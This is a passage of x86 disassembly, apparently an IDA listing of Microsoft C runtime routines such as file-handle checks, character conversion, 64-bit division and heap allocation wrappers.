arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	14h
		push	offset dword_41FCF8
		call	__SEH_prolog4
		or	esi, 0FFFFFFFFh
		mov	[ebp+var_24], esi
		mov	[ebp+var_20], esi
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_417992
		call	sub_40F7B1
		and	dword ptr [eax], 0
		call	sub_40F79E
		mov	dword ptr [eax], 9


loc_417989:				; CODE XREF: sub_417959+66j
		mov	eax, esi
		mov	edx, esi
		jmp	loc_417A62
; ---------------------------------------------------------------------------


loc_417992:				; CODE XREF: sub_417959+1Bj
		xor	edi, edi
		cmp	eax, edi
		jl	short loc_4179A0
		cmp	eax, dword_424EC8
		jb	short loc_4179C1


loc_4179A0:				; CODE XREF: sub_417959+3Dj
		call	sub_40F7B1
		mov	[eax], edi
		call	sub_40F79E
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40DCD8
		add	esp, 14h
		jmp	short loc_417989
; ---------------------------------------------------------------------------


loc_4179C1:				; CODE XREF: sub_417959+45j
		mov	ecx, eax
		sar	ecx, 5
		lea	ebx, ds:424EE0h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [ebx]
		movzx	ecx, byte ptr [ecx+esi+4]
		and	ecx, 1
		jnz	short loc_417A07
		call	sub_40F7B1
		mov	[eax], edi
		call	sub_40F79E
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40DCD8
		add	esp, 14h
		or	edx, 0FFFFFFFFh
		mov	eax, edx
		jmp	short loc_417A62
; ---------------------------------------------------------------------------


loc_417A07:				; CODE XREF: sub_417959+86j
		push	eax
		call	sub_419E76
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_417A36
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4178D6
		add	esp, 10h
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], edx
		jmp	short loc_417A50
; ---------------------------------------------------------------------------


loc_417A36:				; CODE XREF: sub_417959+BFj
		call	sub_40F79E
		mov	dword ptr [eax], 9
		call	sub_40F7B1
		mov	[eax], edi
		or	[ebp+var_24], 0FFFFFFFFh
		or	[ebp+var_20], 0FFFFFFFFh


loc_417A50:				; CODE XREF: sub_417959+DBj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_417A68
		mov	eax, [ebp+var_24]
		mov	edx, [ebp+var_20]


loc_417A62:				; CODE XREF: sub_417959+34j
					; sub_417959+ACj
		call	__SEH_epilog4
		retn
sub_417959	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A68	proc near		; CODE XREF: sub_417959+FEp
					; DATA XREF: .vty:0041FD10o
		push	dword ptr [ebp+8]
		call	sub_419F16
		pop	ecx
		retn
sub_417A68	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A72	proc near		; CODE XREF: sub_4111BA+9Cp

arg_0		= dword	ptr  4

		inc	dword_42444C
		push	1000h
		call	sub_412323
		test	eax, eax
		pop	ecx
		mov	ecx, [esp+arg_0]
		mov	[ecx+8], eax
		jz	short loc_417A9B
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_417AAC
; ---------------------------------------------------------------------------


loc_417A9B:				; CODE XREF: sub_417A72+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_417AAC:				; CODE XREF: sub_417A72+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_417A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AB6	proc near		; CODE XREF: sub_4111BA+91p
					; sub_41440F+E7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_417ACD
		call	sub_40F79E
		mov	dword ptr [eax], 9
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_417ACD:				; CODE XREF: sub_417AB6+7j
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jl	short loc_417ADC
		cmp	eax, dword_424EC8
		jb	short loc_417AF8


loc_417ADC:				; CODE XREF: sub_417AB6+1Cj
		call	sub_40F79E
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 9
		call	sub_40DCD8
		add	esp, 14h
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417AF8:				; CODE XREF: sub_417AB6+24j
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_424EE0[ecx*4]
		movzx	eax, byte ptr [ecx+eax+4]
		and	eax, 40h
		pop	esi
		retn
sub_417AB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B14	proc near		; CODE XREF: sub_4125B5:loc_4125D8p
		push	esi
		push	edi
		xor	edi, edi


loc_417B18:				; CODE XREF: sub_417B14+1Aj
		lea	esi, dword_423DE0[edi]
		push	dword ptr [esi]
		call	sub_411D53
		add	edi, 4
		cmp	edi, 28h
		pop	ecx
		mov	[esi], eax
		jb	short loc_417B18
		pop	edi
		pop	esi
		retn
sub_417B14	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B33	proc near		; CODE XREF: sub_4113BB+554p
		mov	eax, dword_4231C4
		or	eax, 1
		xor	ecx, ecx
		cmp	dword_424D10, eax
		setz	cl
		mov	eax, ecx
		retn
sub_417B33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B49	proc near		; CODE XREF: sub_417CA8+12p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		mov	edi, [ebp+arg_8]
		jnz	short loc_417B6F
		cmp	edi, ebx
		jbe	short loc_417B6F
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417B6B
		mov	[eax], ebx


loc_417B6B:				; CODE XREF: sub_417B49+1Ej
					; sub_417B49+ECj ...
		xor	eax, eax
		jmp	short loc_417BEE
; ---------------------------------------------------------------------------


loc_417B6F:				; CODE XREF: sub_417B49+13j
					; sub_417B49+17j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417B79
		or	dword ptr [eax], 0FFFFFFFFh


loc_417B79:				; CODE XREF: sub_417B49+2Bj
		cmp	edi, 7FFFFFFFh
		jbe	short loc_417B9C
		call	sub_40F79E
		push	16h
		pop	esi
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_40DCD8
		add	esp, 14h


loc_417B98:				; CODE XREF: sub_417B49+CCj
					; sub_417B49+D5j
		mov	eax, esi
		jmp	short loc_417BEE
; ---------------------------------------------------------------------------


loc_417B9C:				; CODE XREF: sub_417B49+36j
		push	[ebp+arg_10]
		lea	ecx, [ebp+var_10]
		call	sub_40F7E2
		mov	eax, [ebp+var_10]
		cmp	[eax+14h], ebx
		jnz	loc_417C47
		mov	ax, [ebp+arg_C]
		cmp	ax, 0FFh
		jbe	short loc_417BF3
		cmp	esi, ebx
		jz	short loc_417BD0
		cmp	edi, ebx
		jbe	short loc_417BD0
		push	edi
		push	ebx
		push	esi
		call	sub_40DD10
		add	esp, 0Ch


loc_417BD0:				; CODE XREF: sub_417B49+76j
					; sub_417B49+7Aj ...
		call	sub_40F79E
		mov	dword ptr [eax], 2Ah
		call	sub_40F79E
		cmp	[ebp+var_4], bl
		mov	eax, [eax]
		jz	short loc_417BEE
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh


loc_417BEE:				; CODE XREF: sub_417B49+24j
					; sub_417B49+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417BF3:				; CODE XREF: sub_417B49+72j
		cmp	esi, ebx
		jz	short loc_417C25
		cmp	edi, ebx
		ja	short loc_417C23


loc_417BFB:				; CODE XREF: sub_417B49+141j
					; sub_417B49+149j ...
		call	sub_40F79E
		push	22h
		pop	esi
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_40DCD8
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_417B98
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh
		jmp	loc_417B98
; ---------------------------------------------------------------------------


loc_417C23:				; CODE XREF: sub_417B49+B0j
		mov	[esi], al


loc_417C25:				; CODE XREF: sub_417B49+ACj
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417C32
		mov	dword ptr [eax], 1


loc_417C32:				; CODE XREF: sub_417B49+E1j
					; sub_417B49+12Aj ...
		cmp	[ebp+var_4], bl
		jz	loc_417B6B
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh
		jmp	loc_417B6B
; ---------------------------------------------------------------------------


loc_417C47:				; CODE XREF: sub_417B49+64j
		lea	ecx, [ebp+arg_4]
		push	ecx
		push	ebx
		push	edi
		push	esi
		push	1
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	ebx
		mov	[ebp+arg_4], ebx
		push	dword ptr [eax+4]
		call	dword_41C170	; WideCharToMultiByte
		cmp	eax, ebx
		jz	short loc_417C79
		cmp	[ebp+arg_4], ebx
		jnz	loc_417BD0
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_417C32
		mov	[ecx], eax
		jmp	short loc_417C32
; ---------------------------------------------------------------------------


loc_417C79:				; CODE XREF: sub_417B49+11Aj
		call	dword_41C0A4	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jnz	loc_417BD0
		cmp	esi, ebx
		jz	loc_417BFB
		cmp	edi, ebx
		jbe	loc_417BFB
		push	edi
		push	ebx
		push	esi
		call	sub_40DD10
		add	esp, 0Ch
		jmp	loc_417BFB
sub_417B49	endp


; =============== S U B	R O U T	I N E =======================================



sub_417CA8	proc near		; CODE XREF: sub_4113BB+487p
					; sub_4113BB+8B1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	0
		push	[esp+4+arg_C]
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_417B49
		add	esp, 14h
		retn
sub_417CA8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417CD0	proc near		; CODE XREF: sub_4113BB+786p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_417D01
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	[esp+4+arg_8]
		mov	ecx, eax
		mov	eax, esi
		mul	[esp+4+arg_8]
		add	edx, ecx
		jmp	short loc_417D48
; ---------------------------------------------------------------------------


loc_417D01:				; CODE XREF: sub_417CD0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_417D0F:				; CODE XREF: sub_417CD0+49j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_417D0F
		div	ebx
		mov	esi, eax
		mul	[esp+4+arg_C]
		mov	ecx, eax
		mov	eax, [esp+4+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_417D3D
		cmp	edx, [esp+4+arg_4]
		ja	short loc_417D3D
		jb	short loc_417D46
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_417D46


loc_417D3D:				; CODE XREF: sub_417CD0+5Dj
					; sub_417CD0+63j
		dec	esi
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_417D46:				; CODE XREF: sub_417CD0+65j
					; sub_417CD0+6Bj
		xor	ebx, ebx


loc_417D48:				; CODE XREF: sub_417CD0+2Fj
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		pop	esi
		retn	10h
sub_417CD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D65	proc near		; CODE XREF: sub_412363+Ep

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00417E6A SIZE 00000019 BYTES

		push	0Ch
		push	offset dword_41FD18
		call	__SEH_prolog4
		mov	ecx, [ebp+arg_0]
		xor	edi, edi
		cmp	ecx, edi
		jbe	short loc_417DA8
		push	0FFFFFFE0h
		pop	eax
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+arg_4]
		sbb	eax, eax
		inc	eax
		jnz	short loc_417DA8
		call	sub_40F79E
		mov	dword ptr [eax], 0Ch
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40DCD8
		add	esp, 14h


loc_417DA1:				; CODE XREF: sub_417D65+E6j
					; sub_417D65+F2j
		xor	eax, eax
		jmp	loc_417E7D
; ---------------------------------------------------------------------------


loc_417DA8:				; CODE XREF: sub_417D65+13j
					; sub_417D65+22j
		imul	ecx, [ebp+arg_4]
		mov	esi, ecx
		mov	[ebp+arg_0], esi
		cmp	esi, edi
		jnz	short loc_417DB8
		xor	esi, esi
		inc	esi


loc_417DB8:				; CODE XREF: sub_417D65+4Ej
					; sub_417D65+DBj
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		cmp	esi, 0FFFFFFE0h
		ja	short loc_417E2B
		cmp	dword_424EC4, 3
		jnz	short loc_417E16
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_424EB4
		ja	short loc_417E16
		push	4
		call	sub_416DA6
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	[ebp+arg_0]
		call	sub_4175F3
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_417E61
		mov	ebx, [ebp+var_1C]
		cmp	ebx, edi
		jz	short loc_417E1A
		push	[ebp+arg_0]
		push	edi
		push	ebx
		call	sub_40DD10
		add	esp, 0Ch


loc_417E16:				; CODE XREF: sub_417D65+64j
					; sub_417D65+78j
		cmp	ebx, edi
		jnz	short loc_417E7B


loc_417E1A:				; CODE XREF: sub_417D65+A2j
		push	esi
		push	8
		push	dword_42487C
		call	dword_41C130	; RtlAllocateHeap
		mov	ebx, eax


loc_417E2B:				; CODE XREF: sub_417D65+5Bj
		cmp	ebx, edi
		jnz	short loc_417E7B
		cmp	dword_424D0C, edi
		jz	short loc_417E6A
		push	esi
		call	sub_412B12
		pop	ecx
		test	eax, eax
		jnz	loc_417DB8
		mov	eax, [ebp+arg_8]
		cmp	eax, edi
		jz	loc_417DA1
		mov	dword ptr [eax], 0Ch
		jmp	loc_417DA1
sub_417D65	endp


; =============== S U B	R O U T	I N E =======================================



sub_417E5C	proc near		; DATA XREF: .vty:0041FD30o
		xor	edi, edi
		mov	esi, [ebp+0Ch]
sub_417E5C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417E61	proc near		; CODE XREF: sub_417D65+98p
		push	4
		call	sub_416CCE
		pop	ecx
		retn
sub_417E61	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417D65


loc_417E6A:				; CODE XREF: sub_417D65+D0j
		cmp	ebx, edi
		jnz	short loc_417E7B
		mov	eax, [ebp+arg_8]
		cmp	eax, edi
		jz	short loc_417E7B
		mov	dword ptr [eax], 0Ch


loc_417E7B:				; CODE XREF: sub_417D65+B3j
					; sub_417D65+C8j ...
		mov	eax, ebx


loc_417E7D:				; CODE XREF: sub_417D65+3Ej
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_417D65

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E83	proc near		; CODE XREF: sub_4123AB+Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00417FD0 SIZE 000000CE BYTES

		push	10h
		push	offset dword_41FD38
		call	__SEH_prolog4
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jnz	short loc_417EA4
		push	[ebp+arg_4]
		call	sub_411069
		pop	ecx
		jmp	loc_418070
; ---------------------------------------------------------------------------


loc_417EA4:				; CODE XREF: sub_417E83+11j
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_417EB7
		push	ebx
		call	sub_41112C
		pop	ecx
		jmp	loc_41806E
; ---------------------------------------------------------------------------


loc_417EB7:				; CODE XREF: sub_417E83+26j
		cmp	dword_424EC4, 3
		jnz	loc_418057


loc_417EC4:				; CODE XREF: sub_417E83+169j
		xor	edi, edi
		mov	[ebp+var_1C], edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41805C
		push	4
		call	sub_416DA6
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	ebx
		call	sub_416E1F
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jz	loc_417F8D
		cmp	esi, dword_424EB4
		ja	short loc_417F40
		push	esi
		push	ebx
		push	eax
		call	sub_417314
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417F0B
		mov	[ebp+var_1C], ebx
		jmp	short loc_417F40
; ---------------------------------------------------------------------------


loc_417F0B:				; CODE XREF: sub_417E83+81j
		push	esi
		call	sub_4175F3
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	eax, edi
		jz	short loc_417F40
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_417F23
		mov	eax, esi


loc_417F23:				; CODE XREF: sub_417E83+9Cj
		push	eax
		push	ebx
		push	[ebp+var_1C]
		call	sub_410050
		push	ebx
		call	sub_416E1F
		mov	[ebp+var_20], eax
		push	ebx
		push	eax
		call	sub_416E4A
		add	esp, 18h


loc_417F40:				; CODE XREF: sub_417E83+72j
					; sub_417E83+86j ...
		cmp	[ebp+var_1C], edi
		jnz	short loc_417F8D
		cmp	esi, edi
		jnz	short loc_417F4F
		xor	esi, esi
		inc	esi
		mov	[ebp+arg_4], esi


loc_417F4F:				; CODE XREF: sub_417E83+C4j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	edi
		push	dword_42487C
		call	dword_41C130	; RtlAllocateHeap
		mov	[ebp+var_1C], eax
		cmp	eax, edi
		jz	short loc_417F8D
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_417F77
		mov	eax, esi


loc_417F77:				; CODE XREF: sub_417E83+F0j
		push	eax
		push	ebx
		push	[ebp+var_1C]
		call	sub_410050
		push	ebx
		push	[ebp+var_20]
		call	sub_416E4A
		add	esp, 14h


loc_417F8D:				; CODE XREF: sub_417E83+66j
					; sub_417E83+C0j ...
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_417FC7
		cmp	[ebp+var_20], 0
		jnz	short loc_417FD0
		test	esi, esi
		jnz	short loc_417FA4
		inc	esi


loc_417FA4:				; CODE XREF: sub_417E83+11Ej
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	ebx
		push	0
		push	dword_42487C
		call	dword_41C04C	; RtlReAllocateHeap
		mov	edi, eax
		jmp	short loc_417FD3
sub_417E83	endp


; =============== S U B	R O U T	I N E =======================================



sub_417FC1	proc near		; DATA XREF: .vty:0041FD50o
		mov	esi, [ebp+0Ch]
		mov	ebx, [ebp+8]
sub_417FC1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417FC7	proc near		; CODE XREF: sub_417E83+111p
		push	4
		call	sub_416CCE
		pop	ecx
		retn
sub_417FC7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417E83


loc_417FD0:				; CODE XREF: sub_417E83+11Aj
		mov	edi, [ebp+var_1C]


loc_417FD3:				; CODE XREF: sub_417E83+13Cj
		test	edi, edi
		jnz	loc_41809A
		cmp	dword_424D0C, edi
		jz	short loc_41800F
		push	esi
		call	sub_412B12
		pop	ecx
		test	eax, eax
		jnz	loc_417EC4
		call	sub_40F79E
		cmp	[ebp+var_20], edi
		jnz	short loc_418068


loc_417FFC:				; CODE XREF: sub_417E83+1F8j
		mov	esi, eax
		call	dword_41C0A4	; RtlGetLastWin32Error
		push	eax
		call	sub_40F763
		pop	ecx
		mov	[esi], eax
		jmp	short loc_41806E
; ---------------------------------------------------------------------------


loc_41800F:				; CODE XREF: sub_417E83+15Ej
		test	edi, edi
		jnz	loc_41809A
		call	sub_40F79E
		cmp	[ebp+var_20], edi
		jz	short loc_418089
		mov	dword ptr [eax], 0Ch
		jmp	short loc_41809A
; ---------------------------------------------------------------------------


loc_418029:				; CODE XREF: sub_417E83+1D7j
		test	esi, esi
		jnz	short loc_41802E
		inc	esi


loc_41802E:				; CODE XREF: sub_417E83+1A8j
		push	esi
		push	ebx
		push	0
		push	dword_42487C
		call	dword_41C04C	; RtlReAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41809A
		cmp	dword_424D0C, eax
		jz	short loc_418080
		push	esi
		call	sub_412B12
		pop	ecx
		test	eax, eax
		jz	short loc_418076


loc_418057:				; CODE XREF: sub_417E83+3Bj
		cmp	esi, 0FFFFFFE0h
		jbe	short loc_418029


loc_41805C:				; CODE XREF: sub_417E83+49j
		push	esi
		call	sub_412B12
		pop	ecx
		call	sub_40F79E


loc_418068:				; CODE XREF: sub_417E83+177j
		mov	dword ptr [eax], 0Ch


loc_41806E:				; CODE XREF: sub_417E83+2Fj
					; sub_417E83+18Aj
		xor	eax, eax


loc_418070:				; CODE XREF: sub_417E83+1Cj
					; sub_417E83+219j
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------


loc_418076:				; CODE XREF: sub_417E83+1D2j
		call	sub_40F79E
		jmp	loc_417FFC
; ---------------------------------------------------------------------------


loc_418080:				; CODE XREF: sub_417E83+1C7j
		test	edi, edi
		jnz	short loc_41809A
		call	sub_40F79E


loc_418089:				; CODE XREF: sub_417E83+19Cj
		mov	esi, eax
		call	dword_41C0A4	; RtlGetLastWin32Error
		push	eax
		call	sub_40F763
		mov	[esi], eax
		pop	ecx


loc_41809A:				; CODE XREF: sub_417E83+152j
					; sub_417E83+18Ej ...
		mov	eax, edi
		jmp	short loc_418070
; END OF FUNCTION CHUNK	FOR sub_417E83

; =============== S U B	R O U T	I N E =======================================



sub_41809E	proc near		; CODE XREF: sub_412755+27p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_424D14, eax
		mov	dword_424D18, eax
		mov	dword_424D1C, eax
		mov	dword_424D20, eax
		retn
sub_41809E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4180B7	proc near		; CODE XREF: sub_4180F8+5Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, dword_423C64
		push	esi


loc_4180C2:				; CODE XREF: sub_4180B7+1Ej
		cmp	[eax+4], edx
		jz	short loc_4180D7
		mov	esi, ecx
		imul	esi, 0Ch
		add	esi, [esp+4+arg_0]
		add	eax, 0Ch
		cmp	eax, esi
		jb	short loc_4180C2


loc_4180D7:				; CODE XREF: sub_4180B7+Ej
		imul	ecx, 0Ch
		add	ecx, [esp+4+arg_0]
		pop	esi
		cmp	eax, ecx
		jnb	short loc_4180E8
		cmp	[eax+4], edx
		jz	short locret_4180EA


loc_4180E8:				; CODE XREF: sub_4180B7+2Aj
		xor	eax, eax

locret_4180EA:				; CODE XREF: sub_4180B7+2Fj
		retn
sub_4180B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4180EB	proc near		; CODE XREF: sub_41411B:loc_414148p
		push	dword_424D1C
		call	sub_411DBF
		pop	ecx
		retn
sub_4180EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180F8	proc near		; CODE XREF: sub_41411B+38p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004182A2 SIZE 00000006 BYTES

		push	20h
		push	offset dword_41FD58
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_28], edi
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 0Bh
		jg	short loc_418160
		jz	short loc_41812B
		mov	eax, ebx
		push	2
		pop	ecx
		sub	eax, ecx
		jz	short loc_418141
		sub	eax, ecx
		jz	short loc_41812B
		sub	eax, ecx
		jz	short loc_41818B
		sub	eax, ecx
		jnz	short loc_41816F


loc_41812B:				; CODE XREF: sub_4180F8+1Cj
					; sub_4180F8+29j
		call	sub_411F7A
		mov	edi, eax
		mov	[ebp+var_28], edi
		test	edi, edi
		jnz	short loc_41814D


loc_418139:				; CODE XREF: sub_4180F8+91j
		or	eax, 0FFFFFFFFh
		jmp	loc_4182A2
; ---------------------------------------------------------------------------


loc_418141:				; CODE XREF: sub_4180F8+25j
		mov	esi, offset dword_424D14
		mov	eax, dword_424D14
		jmp	short loc_4181AD
; ---------------------------------------------------------------------------


loc_41814D:				; CODE XREF: sub_4180F8+3Fj
		push	dword ptr [edi+5Ch]
		mov	edx, ebx
		call	sub_4180B7
		mov	esi, eax
		add	esi, 8
		mov	eax, [esi]
		jmp	short loc_4181BA
; ---------------------------------------------------------------------------


loc_418160:				; CODE XREF: sub_4180F8+1Aj
		mov	eax, ebx
		sub	eax, 0Fh
		jz	short loc_4181A3
		sub	eax, 6
		jz	short loc_418197
		dec	eax
		jz	short loc_41818B


loc_41816F:				; CODE XREF: sub_4180F8+31j
		call	sub_40F79E
		mov	dword ptr [eax], 16h
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40DCD8
		add	esp, 14h
		jmp	short loc_418139
; ---------------------------------------------------------------------------


loc_41818B:				; CODE XREF: sub_4180F8+2Dj
					; sub_4180F8+75j
		mov	esi, offset dword_424D1C
		mov	eax, dword_424D1C
		jmp	short loc_4181AD
; ---------------------------------------------------------------------------


loc_418197:				; CODE XREF: sub_4180F8+72j
		mov	esi, offset dword_424D18
		mov	eax, dword_424D18
		jmp	short loc_4181AD
; ---------------------------------------------------------------------------


loc_4181A3:				; CODE XREF: sub_4180F8+6Dj
		mov	esi, offset dword_424D20
		mov	eax, dword_424D20


loc_4181AD:				; CODE XREF: sub_4180F8+53j
					; sub_4180F8+9Dj ...
		mov	[ebp+var_1C], 1
		push	eax
		call	sub_411DBF


loc_4181BA:				; CODE XREF: sub_4180F8+66j
		mov	[ebp+var_20], eax
		pop	ecx
		xor	eax, eax
		cmp	[ebp+var_20], 1
		jz	loc_4182A2
		cmp	[ebp+var_20], eax
		jnz	short loc_4181D6
		push	3
		call	sub_412726


loc_4181D6:				; CODE XREF: sub_4180F8+D5j
		cmp	[ebp+var_1C], eax
		jz	short loc_4181E2
		push	eax
		call	sub_416DA6
		pop	ecx


loc_4181E2:				; CODE XREF: sub_4180F8+E1j
		xor	eax, eax
		mov	[ebp+ms_exc.disabled], eax
		cmp	ebx, 8
		jz	short loc_4181F6
		cmp	ebx, 0Bh
		jz	short loc_4181F6
		cmp	ebx, 4
		jnz	short loc_418211


loc_4181F6:				; CODE XREF: sub_4180F8+F2j
					; sub_4180F8+F7j
		mov	ecx, [edi+60h]
		mov	[ebp+var_2C], ecx
		mov	[edi+60h], eax
		cmp	ebx, 8
		jnz	short loc_418244
		mov	ecx, [edi+64h]
		mov	[ebp+var_30], ecx
		mov	dword ptr [edi+64h], 8Ch


loc_418211:				; CODE XREF: sub_4180F8+FCj
		cmp	ebx, 8
		jnz	short loc_418244
		mov	ecx, dword_423C58
		mov	[ebp+var_24], ecx


loc_41821F:				; CODE XREF: sub_4180F8+14Aj
		mov	ecx, dword_423C5C
		mov	edx, dword_423C58
		add	ecx, edx
		cmp	[ebp+var_24], ecx
		jge	short loc_41824B
		mov	ecx, [ebp+var_24]
		imul	ecx, 0Ch
		mov	edx, [edi+5Ch]
		mov	[ecx+edx+8], eax
		inc	[ebp+var_24]
		jmp	short loc_41821F
; ---------------------------------------------------------------------------


loc_418244:				; CODE XREF: sub_4180F8+10Aj
					; sub_4180F8+11Cj
		call	sub_411DB6
		mov	[esi], eax


